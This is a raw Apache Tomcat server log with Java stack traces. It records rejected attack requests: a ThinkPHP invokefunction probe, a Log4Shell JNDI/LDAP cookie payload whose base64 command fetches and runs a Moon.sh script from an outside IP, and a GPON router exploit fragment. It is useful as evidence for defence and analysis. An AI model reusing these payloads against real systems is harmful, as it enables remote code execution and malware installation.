27-Jul-2022 00:25:05.958 INFO [https-jsse-nio2-8443-exec-3] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level. java.lang.IllegalArgumentException: Invalid character found in the request target [/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 ]. The valid characters are defined in RFC 7230 and RFC 3986 at org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:494) at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:271) at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:889) at org.apache.tomcat.util.net.Nio2Endpoint$SocketProcessor.doRun(Nio2Endpoint.java:1693) at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) at org.apache.tomcat.util.net.AbstractEndpoint.processSocket(AbstractEndpoint.java:1176) at org.apache.tomcat.util.net.Nio2Endpoint$Nio2SocketWrapper$2.completed(Nio2Endpoint.java:625) at org.apache.tomcat.util.net.Nio2Endpoint$Nio2SocketWrapper$2.completed(Nio2Endpoint.java:603) at org.apache.tomcat.util.net.SecureNio2Channel$1.completed(SecureNio2Channel.java:1010) at org.apache.tomcat.util.net.SecureNio2Channel$1.completed(SecureNio2Channel.java:938) at java.base/sun.nio.ch.Invoker.invokeUnchecked(Invoker.java:127) at java.base/sun.nio.ch.Invoker$2.run(Invoker.java:219) at java.base/sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.base/java.lang.Thread.run(Thread.java:829) 27-Jul-2022 22:16:46.170 INFO [http-nio-8080-exec-10] org.apache.tomcat.util.http.parser.Cookie.logInvalidHeader A cookie header was received [t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//200.150.205.222:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzIwMC4xNTAuMjAyLjE4OC9Nb29uLnNoOyBjdXJsIC1PIGh0dHA6Ly8yMDAuMTUwLjIwMi4xODgvTW9vbi5zaDsgY2htb2QgNzc3IE1vb24uc2g7IHNoIE1vb24uc2g=}')] that contained an invalid cookie. That cookie will be ignored. Note: further occurrences of this error will be logged at DEBUG level. 27-Jul-2022 23:47:54.973 INFO [http-nio-8080-exec-4] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level. java.lang.IllegalArgumentException: Invalid character found in method name [/tmp/gpon80&ipv=0...]. HTTP method names must be tokens at org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:419) at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:271) at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:889) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1735) at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.base/java.lang.Thread.run(Thread.java:829)